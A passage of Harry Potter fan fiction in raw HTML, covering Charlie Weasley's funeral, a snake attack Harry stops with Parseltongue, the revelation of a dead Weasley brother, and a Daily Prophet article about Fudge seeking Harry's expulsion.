he saw tears in her eyes.</p>\n\n<p>&#8220;I&#8217;m sorry, Mrs. Weasley,&#8221; Harry said softly.</p>\n\n<p>&#8220;Thank you for being here, Harry,&#8221; she replied.&nbsp; Mrs. Weasley then left him to greet other mourners who had entered through the door.&nbsp; </p>\n\n<p>Harry then saw Ginny.&nbsp; She looked up at him and immediately tears formed in her eyes.&nbsp; He opened his arms to her and she hugged him fiercely.&nbsp; She clung to him and Harry felt her body become racked with sobs.</p>\n\n<p>&#8220;I&#8217;m so sorry, Gin,&#8221; Harry whispered.</p>\n\n<p>She finally released him and wiped the tears from her face.</p>\n\n<p>&#8220;Are you going to be okay?&#8221; he asked.</p>\n\n<p>&#8220;Yeah,&#8221; she nodded.&nbsp; &#8220;I have to say a few words at the funeral.&nbsp; Hermione helped me by finding a poem to read.&nbsp; This has just been really tough.&#8221;&nbsp; </p>\n\n<p>After Ginny left him, Harry found himself being drawn to the closed casket that was placed under the large picture window.&nbsp; It was covered in flowers and had a simple picture of Charlie placed on top.&nbsp; He was smiling and holding the Golden Snitch.&nbsp; Harry waited in line to kneel and pay his last respects to someone that he had come to admire and respect.&nbsp; As he walked away from the casket he found that he was now standing face to face with Minister Cornelius Fudge.&nbsp; </p>\n\n<p>&#8220;Hello, Harry,&#8221; Fudge said coolly.</p>\n\n<p>Harry tried to speak, but his voice failed him.&nbsp; He swallowed and then replied, &#8220;Hello, Minister Fudge,&#8221; with a touch of defiance in his voice.</p>\n\n<p>&#8220;You remember Amos Diggory,&#8221; Fudge said as he indicated Cedric&#8217;s father standing next to him.</p>\n\n<p>&#8220;Yes.&nbsp; Hello, Mr. Diggory,&#8221; Harry said nervously.</p>\n\n<p>Diggory gave him a look that sent shivers down Harry&#8217;s spine.&nbsp; Gone was the congenial man that he had met before the Quidditch World Cup.&nbsp; This had been replaced by the icy cold stare of a man that thought he was looking at the person responsible for his son&#8217;s death.</p>\n\n<p>&#8220;Hello, Mr. Potter,&#8221; Diggory said in a detached manner.</p>\n\n<p>&#8220;This is the second funeral for a child of someone in the Ministry in the past year,&#8221; Fudge said sadly shaking his head.&nbsp; &#8220;It&#8217;s beginning to feel like Old Times.&#8221;</p>\n\n<p>Harry felt as if he were going to be sick.&nbsp; He turned around wanting to leave Fudge behind and bumped into Walden Macnair.&nbsp; Harry froze.&nbsp; A Death Eater was here.&nbsp; Harry had told Fudge that Macnair was a Death Eater and had been at the cemetery last year.&nbsp; And yet he had done nothing about it.&nbsp; Macnair was pretending to care about a fellow Ministry employee&#8217;s death in the family.&nbsp; <i>Had he attended Cedric&#8217;s funeral?</i> Harry wondered.&nbsp; He scanned the rest of the room and pondered whether or not there were any other Death Eaters present and if anything sinister would happen today.</p>\n\n<p>&#8220;Yes, yes, our own Walden Macnair was there when it happened,&#8221; Minister Fudge said to a mourner.&nbsp; &#8220;It&#8217;s too bad he wasn&#8217;t able to stop the tragedy from occurring.&nbsp; He just happened to be there on a fact finding mission for his department.&#8221;</p>\n\n<p>&#8220;This is so dreadful.&nbsp; I never expected this to happen to Charlie.&nbsp; He was always so careful,&#8221; the mourner said tearfully.</p>\n\n<p>&#8220;Yes, well accidents do happen,&#8221; said Fudge calmly, &#8220;especially around beasts like dragons.&#8221;</p>\n\n<p>Harry realized that the room was swarming with Ministry employees.&nbsp; Bode, Croaker, Cuthbert Mockridge, Gilbert Wimple<b>, </b><st1:city><st1:place>Arnold</st1:place></st1:city> Peasegood.&nbsp; His heart started to pound.&nbsp; He then saw &#8220;Mad-Eye&#8221; Moody standing near the food table and grimacing in the general direction of Macnair.&nbsp; Harry wanted nothing more than to be near his classmates and not with adults who were suspicious of him or who might be followers of Voldemort.&nbsp; He squeezed his way through the crowd and saw Oliver Wood standing in the corner talking with the twins.&nbsp; Harry was glad to talk casually with Oliver about his experiences with being on the Puddlemere United team.&nbsp; Soon they were being ushered outside to begin the funeral.&nbsp; </p>\n\n<p>Harry was unsure of what to expect.&nbsp; He knew that a wizard funeral must be different from the standard Muggle funeral, but he wasn&#8217;t quite sure how.&nbsp; Harry had never attended any funerals before because the Dursleys hadn&#8217;t wanted to admit to the greater world that they had such an &#8220;abnormal&#8221; nephew living with them.&nbsp; The few times that they attended such events, Harry had stayed with Old Mrs. Figg.&nbsp; He gave a half-smile to himself remembering that and how surprised he was when she revealed her true self to him last summer.&nbsp; No, the only knowledge Harry had of funerals was from what he had seen on television.&nbsp; He was sure that this would be different.&nbsp;&nbsp; </p>\n\n<p>Harry joined the crowd of people outside that were gathered around and waiting.&nbsp; Soon the casket was wheeled outside the house.&nbsp; Bill, Percy, Fred, George, Ron and another tall red headed man were the pallbearers.&nbsp; They lifted the casket to the waiting bed of a wagon that was covered with flowers.&nbsp; Harry assumed that the sixth man must be a cousin.&nbsp; The horse-drawn wagon was followed by the cortege who walked slowly through a light blanket of snow.&nbsp; Harry began to recognize the path being taken as the same one they had taken the morning before the Quidditch World Cup.&nbsp; They were slowly making their way to Stoatshead Hill. </p>\n\n<p>Along the outside of the procession there were people carrying torches every five metres or so.&nbsp; The torches didn&#8217;t give off light, but instead a heady smell of incense.&nbsp; Their powers became clear as the cortege entered the village proper.&nbsp; Harry had worried about them being revealed to Muggles, because very few in attendance were wearing any clothes that might be considered Mugglewear.&nbsp; They walked down the centre of town on a narrow cobblestone road that was only used for foot traffic.&nbsp; As the villagers came near the procession, they seemed to sniff the air and turn around as if they had suddenly remembered something they had to do elsewhere.&nbsp; No one interrupted or even recognized that a long line of witches and wizards were walking through the town.&nbsp; The hoof beats of the horse and the wheels on the wagon gave a clop, clop, clop as they went over the uneven cobblestone.&nbsp; Otherwise, not a sound was heard as they made their way through Ottery St. Catchpole.</p>\n\n<p>As they neared Stoatshead Hill, Harry saw that there were large stones standing in a circle.&nbsp; He had not noticed them before because the other times when he was there it was before dawn.&nbsp; The stones would have appeared as dark shadows in the distance.&nbsp; The wagon came to a stop near the side of the large hill in front of a stand where two large stones were supporting a third stone balanced precariously above them.&nbsp; Harry was aware that they had now come upon hallowed ground.&nbsp; </p>\n\n<p>Many people came forward and spoke movingly of Charlie.&nbsp; His love of life, his love of adventure and his devotion towards animals.&nbsp; His old Quidditch teammates spoke of his exploits on the broom and his irrepressible charm.&nbsp; His co-workers from <st1:country-region><st1:place>Romania</st1:place></st1:country-region> spoke of how skilled Charlie had been with dragons and that he was someone that they had depended upon.&nbsp; </p>\n\n<p>Dumbledore came forward and looked weary.&nbsp; &#8220;I have been to far too many funerals in my lifetime.&nbsp; I find that one of the most painful things is to outlive those who are cut down in the prime of their lives.&nbsp; Charlie Weasley had such promise and such potential.&nbsp; He truly had much more to give to this world.&nbsp; We will all suffer from the loss of such a man.&#8221;&nbsp; </p>\n\n<p>&nbsp;As Dumbledore walked back to the crowd, Ginny came forward.&nbsp; She had found a sense of inner calm and peace and spoke with a strong and clear voice.</p>\n\n<p>&#8220;One of my earliest memories of Charlie was when I was a little girl.&nbsp; I had found a feral cat in our backyard that had a batch of newborn kittens.&nbsp; One had somehow gotten separated from its mother.&nbsp; I wanted to move the kitten back with its litter mates, but Charlie stopped me.&nbsp; He said that because the cat was feral, the mother wouldn&#8217;t accept the kitten if it smelled of humans.&nbsp; Instead, he gently picked up the kitten and we brought it back to our house.&nbsp; Together we nursed the poor thing and became its surrogate mother.&nbsp; Ginger was a wonderful loving pet that graced our household for many years, but she would have died that day if Charlie hadn&#8217;t been there and knew what to do.</p>\n\n<p>&#8220;As long as we remember Charlie, as long as we keep him in our hearts and in our minds, as long as we speak of him with words or even with a touch &#8211; his spirit will always be with us.&nbsp;&nbsp; I&#8217;d like to now share with you a poem that my friend Hermione Granger found.&nbsp; It is by Alfred, Lord Tennyson</p>\n\n<i>&#8220;O Living Will that Shalt Endure</i><br>\n\n\n<i>When all that seems shall suffer shock,</i><br>\n\n\n<i>Rise in a spiritual rock,</i><br>\n\n\n<i>Flow thro&#8217; our deeds and make them pure,</i><br>\n\n\n<i>That we may lift from out of dust</i><br>\n\n\n<i>A voice as unto him that hears,</i><br>\n\n\n<i>A cry above the conquer&#8217;d years</i><br>\n\n\n<i>To one that with us works, and trust,</i><br>\n\n\n<i>With faith that comes of self-control,</i><br>\n\n\n<i>The truths that never can be proved</i><br>\n\n\n<i>Until we close with all we loved,</i><br>\n\n\n<i>And all we flow from, soul in soul.</i><br>\n\n\n<p>Ginny leaned down and kissed the casket.&nbsp; &#8220;Charlie, you will always be with me in my heart.&nbsp; I love you.&#8221;&nbsp; Mrs. Weasley started sobbing and Bill put his arm around his mother.&nbsp; Ginny walked back to stand next to her family.&nbsp; </p>\n\n<p>Suddenly, something made the hair on the back of Harry&#8217;s neck stand on end.&nbsp; He looked around and didn&#8217;t see anything suspicious at first.&nbsp; It was more of a sensation than anything else.&nbsp; Somehow he knew that someone was hiding behind one of the large standing stones in the distance.&nbsp; As he stared at it intently, he saw a movement by a hooded and masked figure holding a wand.&nbsp; Harry instinctively reached inside his pocket for his wand, but as he withdrew it the figure had Disapparated.&nbsp; Screams started coming from the crowd and Harry turned back to see that the flowers, which had been draped over Charlie&#8217;s casket had been transfigured into adders.&nbsp; The snakes were dropping off the casket and were moving quickly towards the Weasley family.&nbsp; One was dangerously close to Ginny.</p>\n\n<p>&#8220;Stop it!&#8221; Harry hissed.</p>\n\n<p>The snakes immediately responded to his voice and they curled up as if they were going to sleep.&nbsp; Harry without thinking waved his extended wand and transfigured them back to being flowers once again.&nbsp; All eyes had turned towards him and they were looking at him with great suspicion.&nbsp; Harry saw that Minister Fudge had a strange smile on his face.&nbsp; Mrs. Weasley was clutching Mr. Weasley&#8217;s arm and looked very frightened.</p>\n\n<p>&#8220;I-I saw a hooded figure behind that stone, but they&#8217;re gone now,&#8221; Harry said as he pointed in its direction.&nbsp; &#8220;When I saw them drawing their wand, I knew there would be trouble&#8230;&#8221;</p>\n\n<p>Mr. Weasley nodded and sighed, &#8220;Yes, well that is all over now.&nbsp; Thank you, Harry.&nbsp; That concludes the public portion of the funeral.&nbsp; I want to thank everyone for coming and showing your love and support for our family during this difficult time.&nbsp; The family will now be taking Charlie to his final resting place.&#8221;</p>\n\n<p>Mr. Weasley then walked forward and tapped his wand into the centre portion of a labryrinth that was carved into the overhanging stone.&nbsp; The two stones swung out magically and a narrow passageway was now exposed.&nbsp; The pallbearers all picked up handles of the casket and brought it close to the entrance.&nbsp; Then Mr. Weasley used his wand to levitate the casket and he began to navigate it through the tight opening.&nbsp; </p>\n\n<p>Bill came up behind Harry and Hermione and said softly, &#8220;Please follow. You two are like family and Ron will need you in there.&#8221;</p>\n\n<p>Harry and Hermione followed the family into the dolmen.&nbsp; As they entered the burial chamber, Harry saw that it was dimly lit by torches that had become magically lit in response to the presence of wizards.&nbsp; The walls had many nameplates of the dead.&nbsp; Harry thought that there must be at least thirty people already buried in the tomb.&nbsp; Mr. Weasley lowered the casket in front of an empty grave marker, he then stepped forward and used his wand to carve out an epitaph in the stone.</p>\n\n<b>Charles Weasley</b><br>\n\n\n<b>Beloved Son</b><br>\n\n\n<b>1967 - 1996</b><p></p>\n\n<p>&nbsp; </p>\n\n<p>Harry moved forward to stand next to Ron.&nbsp; He was startled when Ron gripped him by the arm.&nbsp; All the colour had drained from Ron&#8217;s face.&nbsp; He was staring at the grave marker next to Charlie&#8217;s.&nbsp; </p>\n\n<b>David Weasley</b><br>\n\n\n<b>Beloved Son</b><br>\n\n\n<b>1970-1979</b><p></p>\n\n<p>&#8220;How could you&#8230;,&#8221; began Ron.</p>\n\n<p>Mr. Weasley looked at his son and said firmly, &#8220;This <i>is not</i> the time.&#8221;</p>\n\n<p>Bill squeezed Ron&#8217;s shoulder and whispered, &#8220;Later, Ron.&nbsp; <i>Don&#8217;t make a scene</i>.&#8221;</p>\n\n<p>Ron nodded, but Harry saw that his friend was shaking violently.&nbsp; It was clear that Ron was ready to explode.&nbsp; He had another brother that he had never been told about.</p>\n\n<p>Fred and George exchanged puzzled looks as they heard this exchange.&nbsp; Then Ginny saw what Ron was fixated on.&nbsp; Her jaw opened wide and she drew the twins&#8217; attention to the marker.&nbsp; The three of them cast hurt looks at their parents.&nbsp; Mrs. Weasley covered her face in her hands and then turned her back in shame.&nbsp; When Percy noticed what his siblings were focused on, his face got a strange expression on it.&nbsp; He looked as if he were remembering something long forgotten.&nbsp; Penny stood dazed and confused at the reactions of the Weasley children.</p>\n\n<p>The marker was then removed revealing an empty chamber.&nbsp; The casket was levitated and placed inside.&nbsp; As the chamber was sealed and the new grave marker was set in place, Mr. Weasley waved his wand.&nbsp; He said a few words to forever seal the grave and to place a curse on anyone who would dare to disinter its contents.&nbsp; Harry shivered at the thought.&nbsp; He then began to wonder where it was that his own parents lay buried.</p>\n\n<p>As they emerged from the darkened chamber, Harry saw that Professor Figg was waiting for them outside.&nbsp; &#8220;The rest of the students walked back to town to catch the Knight Bus.&nbsp; I stayed after so that I can accompany you and Hermione back to school.&nbsp; You two can use the Weasley&#8217;s hearth to Floo back like we did at Christmas.&#8221;</p>\n\n<p>Harry nodded.&nbsp; He could tell that there was going to be a family meltdown as soon as they arrived back at the Burrow.&nbsp; Everyone trudged the distance back to the Weasley household in silence.&nbsp; As they approached the house, Percy said good-bye to Penny and promised to follow her shortly.&nbsp; Harry wondered if they would be able to leave before the fireworks happened.&nbsp; He wasn&#8217;t sure if he wanted to witness it or not.&nbsp; It might be easier for Ron to not have to retell his friends, but then again he might not want them to see the family fight.&nbsp; Harry looked at Hermione, she looked as uncomfortable as he felt.</p>\n\n<p>As soon as they entered the house, Ron could no longer hold in his anger.&nbsp; The question of whether or not Harry and Hermione would see the confrontation was settled quickly.</p>\n\n<p>&#8220;When were you going to tell us?&nbsp; NEVER?&#8221; Ron demanded.</p>\n\n<p>&#8220;Ron, you don&#8217;t understand&#8230;&#8221; said his father.</p>\n\n<p>&#8220;Damn right, I don&#8217;t understand.&nbsp; I can see why you didn&#8217;t tell me when I was three or five, but Dad I&#8217;m sixteen!&nbsp; Did you think I couldn&#8217;t handle knowing that I have <i>two</i>\n\n<i>dead brothers</i>?&#8221;</p>\n\n<p>&#8220;Ron, this is very painful &#8211; &#8221;</p>\n\n<p>&#8220;So is finding out that your parents have been lying to you all your life!&#8221;</p>\n\n<p>&#8220;What happened Dad?&nbsp; How did David die?&#8221; asked George quietly.</p>\n\n<p>&#8220;He was murdered,&#8221; Mr. Weasley said softly.&nbsp; &#8220;It happened after the Dark Lord tried to recruit me.&nbsp; After I refused, he killed David to punish me.&nbsp; David was staying over at his friend Mikey McKinnon&#8217;s house.&nbsp; Everyone there was killed and there was the Dark Mark hanging over it.&#8221;</p>\n\n<p>Mrs. Weasley blew her nose and left the room.</p>\n\n<p>Harry then remembered what Mr. Weasley had said after the chaos of the Quidditch World Cup.&nbsp; He had said that coming home to see a Dark Mark hanging over your house was everyone&#8217;s worst fear.&nbsp; Now Harry realized that it was something that Mr. Weasley had seen firsthand and that it signified the death of one of his children.&nbsp; Harry shuddered at the thought.</p>\n\n<p>&#8220;How come the McKinnons were killed and not us?&#8221; asked Fred.</p>\n\n<p>Mr. Weasley took off his glasses and wiped his face with a handkerchief.&nbsp; &#8220;I think he still wanted me to join his forces.&nbsp; This was his way of warning me that if I didn&#8217;t join him, that more of my children were endangered.&nbsp; His way of thinking is that it&#8217;s far more painful to cut off one finger at a time than the whole hand at once.&#8221;</p>\n\n<p>Ginny grimaced at that and then asked, &#8220;Why were you so important to him, Dad?&nbsp; It doesn&#8217;t seem that he&#8217;d be all that interested in the Misuse of Muggle Artefacts Office.&#8221;</p>\n\n<p>&#8220;That&#8217;s because I wasn&#8217;t working there at the time.&nbsp; I was a staff member of the Council of Magical Law.&nbsp; After David&#8217;s murder, I put in for a transfer.&nbsp; That decision wound up ending any chance I had for any real career advancement, but my family&#8217;s safety was worth it to me.&#8221;</p>\n\n<p>Percy had a faraway expression on his face.&nbsp; Then he turned to his father, &#8220;So <i>that&#8217;s</i> what you meant at Christmas by saying you knew more about this than I realized.&nbsp; I can barely remember David.&nbsp; I haven&#8217;t thought of him in years and now some of my early childhood memories make more sense.&nbsp; Dad, why didn&#8217;t you remind me of him?&nbsp; Why didn&#8217;t you tell <i>me</i> what happened?&#8221;</p>\n\n<p>&#8220;Your mother and I have disagreed on this point,&#8221; Mr. Weasley said sighing heavily.&nbsp; &#8220;She&#8217;s always felt that it was better to not bring up the subject.&nbsp; It&#8217;s very painful for her.&nbsp; Ron, this happened when she was pregnant with you.&nbsp; She almost miscarried because of it.&nbsp; You were the only one who was born premature and then you were born with a caul over your face.&nbsp; You weren&#8217;t breathing when you were first born.&nbsp; Anyway, your mother can be very superstitious.&nbsp; She was afraid that the Dark Lord had cursed her pregnancy.&nbsp; When you finally began to thrive she insisted that we not talk about David ever again, lest we endanger it happening to another child.&#8221;</p>\n\n<p>&#8220;Do you think Charlie&#8217;s death is related to You-Know-Who?&#8221; asked Ron.</p>\n\n<p>Mr. Weasley slowly nodded his head.&nbsp; &#8220;Yes, I was approached again.&nbsp; This time I&#8217;m a senior ministry official.&nbsp; It doesn&#8217;t matter that I&#8217;m not in an important department, I&#8217;m powerful because I know everyone.&nbsp; That&#8217;s why he wants me, he also wants all of you.&nbsp; I&#8217;ll never join and I&#8217;ll do everything I can to protect all my children.&#8221;</p>\n\n<p>Percy stood and crossed the room.&nbsp; His face looked very confused as if he were fighting within himself.&nbsp; He then put on his cloak and left the house, the back door clanged as it closed behind him.</p>\n\n<p>&#8220;That&#8217;s what my vision was for you,&#8221; Ron began.&nbsp; &#8220;I saw one door where there was a hooded man you were afraid of, the Dark Lord.&nbsp; The other door held a Wheel of Fortune with our names on it.&nbsp; It meant that one of us had to die if you refused him.&#8221;</p>\n\n<p>Mr. Weasley held his face in his hands.</p>\n\n<p>Hermione was standing in the background and then she turned to Mr. Weasley.&nbsp; </p>\n\n<p>&#8220;Arthur, Bill, Charlie,&#8221; she said slowly ticking the names off on her fingers.&nbsp; &#8220;David, Edward, Fred, George&#8230;is Ron&#8217;s first name Ronald or is it something else?&#8221;</p>\n\n<p>&#8220;It is Ronald, but before David&#8217;s death we were planning on naming him Harold,&#8221; he said giving a hollow laugh.&nbsp; &#8220;Molly thought that if we changed our naming scheme that it would break the bad luck.&#8221;&nbsp; Then he gestured towards Harry, &#8220;And since we would have called him Harry for short, it&#8217;s probably a good thing we named him Ron.&nbsp; It would have been pretty confusing telling you two apart if you had the same name.&#8221;</p>\n\n<p>Harry started counting on his fingers and looked up at Ron.</p>\n\n<p>&#8220;Ron, you&#8217;re a Seventh Son,&#8221; Harry said in awe, &#8220;<i>and</i> you were born with a caul.&nbsp; Remember what Trelawney said about that in class?&nbsp; Both are omens that you will have the Sight.&#8221; </p>\n\n<p>Ron&#8217;s eyes grew wide and swallowed hard.</p>\n\n<p>&#8220;You should have told me,&#8221; he said firmly to his father.&nbsp; Ron abruptly left the table and went to his room.</p>\n\n<p>Professor Figg entered the house and spoke to Harry and Hermione.&nbsp; &#8220;It&#8217;s time for us to go back, please say your good-byes.&#8221;</p>\n\n<p>They nodded and gave some uncomfortable hugs to all the Weasleys that were downstairs as well as their condolences.&nbsp; Harry went cautiously upstairs to knock on Ron&#8217;s door.</p>\n\n<p>&#8220;Ron, we have to leave now,&#8221; Harry said.</p>\n\n<p>&#8220;I&#8217;ll see you back at school,&#8221; was the muffled reply.</p>\n\n<p>Harry walked downstairs with a heavy heart.&nbsp; As he stepped up to the fireplace and threw the Floo powder into the flames, he thought quietly about how much had changed in Ron&#8217;s life in the span of a few days.&nbsp; Things would never be the same for him.</p>\n\n<p>After they walked from Hogsmeade to Hogwarts in silence, Harry thanked Professor Figg for accompanying them back.</p>\n\n<p>&#8220;Certainly.&nbsp; Providing security for Hogwarts students is part of my job description,&#8221; she said kindly as she walked away.</p>\n\n<p>Harry looked at his watch.&nbsp; &#8220;Hermione, we&#8217;ve got a little time before dinner.&nbsp; Why don&#8217;t we take a little walk by the lake?&#8221;</p>\n\n<p>&#8220;Sorry, Harry.&nbsp; I feel like I&#8217;ve been outside all day.&nbsp; My feet are like icicles.&nbsp; I&#8217;d just like to go inside and thaw out.&#8221;</p>\n\n<p>&#8220;I need to talk with you.&nbsp; Alone.&#8221;</p>\n\n<p>&#8220;Okay, then.&nbsp; What&#8217;s a few more minutes of being cold?&#8221; she said shivering.</p>\n\n<p>Harry rubbed the outside of her arms trying to warm her up, &#8220;Is that better?&#8221;</p>\n\n<p>&#8220;A little.&nbsp; I saw you talking with Fudge earlier.&nbsp; What happened?&#8221;</p>\n\n<p>&#8220;That&#8217;s what I wanted to talk with you about.&nbsp; I heard Fudge say that Macnair was there at the time Charlie was killed.&nbsp; He was supposedly there on Ministry business, but I don&#8217;t believe that.&nbsp; I think he did something to cause Charlie&#8217;s death.&nbsp; When I saw him, I knew something bad was going to happen today.&nbsp; During the service, I just had a funny feeling and turned to look at the stone in the distance.&#8221;</p>\n\n<p>&#8220;If you hadn&#8217;t been so quick to act, someone could have been bitten.&#8221;</p>\n\n<p>&#8220;There&#8217;s something else that I need to tell you about.&nbsp; At Christmas, Ron also gave his mum a reading.&#8221;</p>\n\n<p>&#8220;What did he see?&#8221; Hermione asked anxiously.</p>\n\n<p>&#8220;He saw a secret door and knew that she was hiding something behind it.&nbsp; Ron saw a long locked box and said that her secret would soon be revealed.&#8221;</p>\n\n<p>&#8220;Oh Harry,&#8221; she said shaking her head.&nbsp; &#8220;You think that David&#8217;s death was her secret?&#8221;</p>\n\n<p>&#8220;Yeah,&#8221; Harry said nodding.&nbsp; &#8220;She got really upset with Ron.&nbsp; That&#8217;s part of what set her into such a foul mood that night.&nbsp; He reminded his mum of her most painful memory and her greatest fear.&#8221;</p>\n\n<p>&#8220;I don&#8217;t even know what to think anymore,&#8221; she said sadly.</p>\n\n<p>&#8220;Neither do I,&#8221; Harry said looking her in the eyes.&nbsp; &#8220;I only know that I couldn&#8217;t bear it if anything happened to you or Ron.&nbsp; All I could think of on our walk back here were the essays that we wrote for Figg&#8217;s class last fall.&nbsp; I&#8217;m afraid for both of you.&#8221;</p>\n\n<p>&#8220;Harry, I&#8217;d be a target for attack even if I wasn&#8217;t your good friend.&nbsp; Just being Muggle-born is reason enough for the Dark Lord to want to kill me.&nbsp; Sometimes I wish that I never had heard of Hogwarts,&#8221; Hermione said quietly.&nbsp; &#8220;If I had just stayed a plain Muggle, I wouldn&#8217;t know about all of this&#8230;&#8221;</p>\n\n<p>&#8220;Yeah, except that there are horrors in the Muggle world, too.&nbsp; Muggers, rapists, psycho killers, recognizing those dangers is just a part of growing up,&#8221; Harry said.</p>\n\n<p>&#8220;On that cheery thought, let&#8217;s go to dinner.&nbsp; Maybe they&#8217;ll have something nice and warm.&#8221;</p>\n\n<p>&#8220;I could go for a nice hot chocolate.&#8221;</p>\n\n<p>&#8220;Now you&#8217;re talking,&#8221; she said smiling.&nbsp; &#8220;If we can&#8217;t get any for dinner, come with me to the kitchens later and we&#8217;ll get some from the house-elves.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*</p>\n\n<p>The next day Harry was afraid of what <i>The Daily Prophet </i>might hold.&nbsp; He knew that there would be some coverage of Charlie Weasley&#8217;s funeral and probably a mention about the snake incident, but he had not in his wildest imagination expected to read the article that was on the front page.</p>\n\n<p><b>Fudge presses for expulsion of Potter</b></p>\n\n<p><i>By Hearst Seldes, Managing Editor</i></p>\n\n<p><b>Minister Cornelius Fudge filed an emergency petition yesterday with the Hogwarts Board of Governors regarding Harry Potter.&nbsp; The fifteen-year old wizard was attending the funeral of Charles Weasley when he was witnessed by over two hundred witches and wizards performing magic outside of school grounds.&nbsp; Fudge felt that this was a clear and flagrant violation of the Decree for the Reasonable Restriction of Underage Sorcery, 1875, Paragraph C.</b></p>\n\n<p><b>Charles Weasley was the son of Arthur Weasley, the Head of the Misuse of Muggle Artefacts Office.&nbsp; Charles Weasley had worked in </b><st1:country-region><st1:place><b>Romania</b></st1:place></st1:country-region><b> as a dragon handler.&nbsp; He was killed last week after a fatal occupational accident that occurred with a wounded Hungarian Horntail.&nbsp; </b></p>\n\n<p><b>The incident regarding Potter occurred when the flowers that were on the casket were magically transfigured into adders, a poisonous snake common to </b><st1:country-region><st1:place><b>England</b></st1:place></st1:country-region><b>.&nbsp; The snakes were reportedly coming close to attacking the Weasley family members.&nbsp; As the snakes came close to the family, Potter revealed for the whole funeral party his ability to speak with snakes.&nbsp; He hissed some command and they curled up to go to sleep.&nbsp; He then waved his wand and in the blink of an eye, transfigured them back to flowers.</b></p>\n\n<p><b>Potter claimed that he had witnessed a hooded and masked intruder invade the sanctity of the funeral site and perform that heinous act of transfiguration.&nbsp; So far, no one has come forward to corroborate Potter&#8217;s story.&nbsp; He was witnessed by many of the mourners as having brandished his wand prior to the initial transformation.&nbsp; Many of those in attendance have told this reporter that it appeared that Potter performed two transfiguration spells.&nbsp; The reason he would do such a thing is not clear, especially to the Weasleys, a family that supposedly has treated him as if he were another son.</b></p>\n\n<p><b>Fudge also mentioned that Potter had been given an official warning from the Ministry after his first year about performing spellwork outside of school.&nbsp; </b></p>\n\n<p><b>This was followed by the embarrassing incident of both Harry Potter and his good friend Ronald Weasley, (another son by Arthur) having once again flouted the Underage Restrictions by flying a bewitched Ford Anglia to Hogwarts rather than simply taking the Hogwarts Express to school like every other student.&nbsp; That incident led to the punishment of Arthur Weasley being fined fifty galleons for ironically violating the very laws regarding misuse of Muggle artefacts that he had championed.</b></p>\n\n<p><b>&nbsp;Then the following summer, two members of the Accidental Magical Reversal Department were dispatched to the house of Harry Potter&#8217;s Muggle relatives where a woman had to be punctured because he had &#8220;accidentally&#8221; blown her up with his rage.</b></p>\n\n<p><b>The Daily Prophet has also covered extensively the hexing incident that Potter and others had done last year on the way home on the Hogwarts Express.&nbsp; Potter was the only one disciplined for that incident, but it was once again a flouting of the law.</b></p>\n\n<p><b>The timeline for the hearing of this complaint has not been set, but Minister Fudge is pressing for the Board of Governors to set an emergency meeting to take up this issue.&nbsp; Fudge feels that such an act at the funeral of a Ministry family member is unforgivable.&nbsp; He wants to see swift and severe punishment for Harry Potter.&nbsp; </b></p>\n\n<p>Harry put the paper down and was stunned.&nbsp; He now knew what the strange smile on Fudge&#8217;s lips was about.&nbsp; He had been set up to fail.&nbsp; Voldemort wanted to get Harry away from the protection of Dumbledore and thought that expulsion would leave him wandless, weak and vulnerable.</p>\n\n<p>&#8220;Oh Harry,&#8221; Hermione said with great concern in her voice.&nbsp; &#8220;I never thought of this happening.&#8221;</p>\n\n<p>&#8220;Neither did I.&nbsp; I need to speak with Dumbledore,&#8221; he said as he excused himself from the table.</p>\n\n<p>Harry walked immediately up to the head table and Dumbledore nodded at him.&nbsp; They walked together to the room off the side of the Great Hall.</p>\n\n<p>&#8220;Have a seat Harry,&#8221; Dumbledore said.</p>\n\n<p>&#8220;I swear that there was a Death Eater there yesterday.&nbsp; I didn&#8217;t transfigure the flowers into snakes, only the reverse,&#8221; Harry said pleading.</p>\n\n<p>&#8220;I know, I know.&nbsp; I believe you, Harry.&nbsp; Unfortunately, it seems that the Minister of Magic wants to point all blame on you, myself and Sirius.&#8221;</p>\n\n<p>&#8220;What can I do?&#8221;</p>\n\n<p>&#8220;Well, even though Fudge asked for an emergency meeting, I doubt that this will occur.&nbsp; Very little happens quickly with bureaucracies.&nbsp; The only time that they moved quickly was during your second year after several attacks on students.&nbsp; You remember that one of the governors, Lucius Malfoy pressured them into signing a letter calling for my removal?&#8221;</p>\n\n<p>&#8220;Yes, I remember.&#8221;</p>\n\n<p>&#8220;Well, after that incident they have taken a decidedly different pace with things.&nbsp; I would recommend that the first thing you do is to write down everything you can remember from yesterday.&nbsp; Everyone you spoke with at the funeral from the time you entered the Burrow until the time the snakes were returned to flower form.&nbsp; Document everything.&nbsp; You should ask the same of everyone else that you know that was in attendance.&nbsp; The sooner, the better.&nbsp; As time goes on the memories fade.&nbsp; There is one thing that may be a problem for you though,&#8221; Dumbledore said seriously.</p>\n\n<p>&#8220;What is that?&#8221; Harry asked.</p>\n\n<p>&#8220;Over half of the Board of Governors were there in attendance.&nbsp; They are all eyewitnesses.&nbsp; Except of course none of them were close to the front, so none of them actually saw the snakes.&nbsp; They&#8217;ve only heard about them.&nbsp; They will however, have heard you speak in Parseltongue and will have seen you wave your wand.&#8221;</p>\n\n<p>&#8220;What&#8217;ll I do if I get expelled?&#8221; Harry asked.&nbsp; </p>\n\n<p>&#8220;We&#8217;ll worry about that if it happens, but I really don&#8217;t see that happening.&nbsp; The Minister of Magic does not have the political support that he once did and contrary to what you might think by reading The Daily Prophet, I actually get along quite well with the Governors.&nbsp; I have a lot of influence with them.&nbsp; I see no reason for you to be expelled.&nbsp; You simply reacted quickly to a dangerous situation.&nbsp; Although if you had stopped when the snakes were curled up and harmless and left it for someone else to transfigure them back, you wouldn&#8217;t be in this mess right now.&#8221;</p>\n\n<p>Harry nodded, &#8220;I just wanted to help.&#8221;</p>\n\n<p>&#8220;I know.&nbsp; You&#8217;re a fine young man and your heart is in the right place,&#8221; Dumbledore said kindly.&nbsp; &#8220;I&#8217;ll be speaking with the Weasleys and we will get statements from all of them.&nbsp; I&#8217;m sure that none of them will be placing any blame on you.&nbsp; And since they were in the best position of seeing how the snakes were acting and not the hundreds of mourners in the background&#8230;I think you&#8217;ll do fine.&nbsp; This was an extraordinary circumstance.&#8221;<br>\n\n<br>\n\n</p>\n\n<p>*</p>\n\n<p>Harry and Hermione couldn&#8217;t wait to see Ron and Ginny return back to school.&nbsp; After a week spent mourning at the Burrow, they too were anxious to return to a sense of normalcy.&nbsp; When they all sat down for dinner, Hermione couldn&#8217;t help but ask about how things were going at home.</p>\n\n<p>&#8220;How is Percy doing?&nbsp; When he left that day, I began to really worry about him.&#8221;</p>\n\n<p>&#8220;He&#8217;s going through a 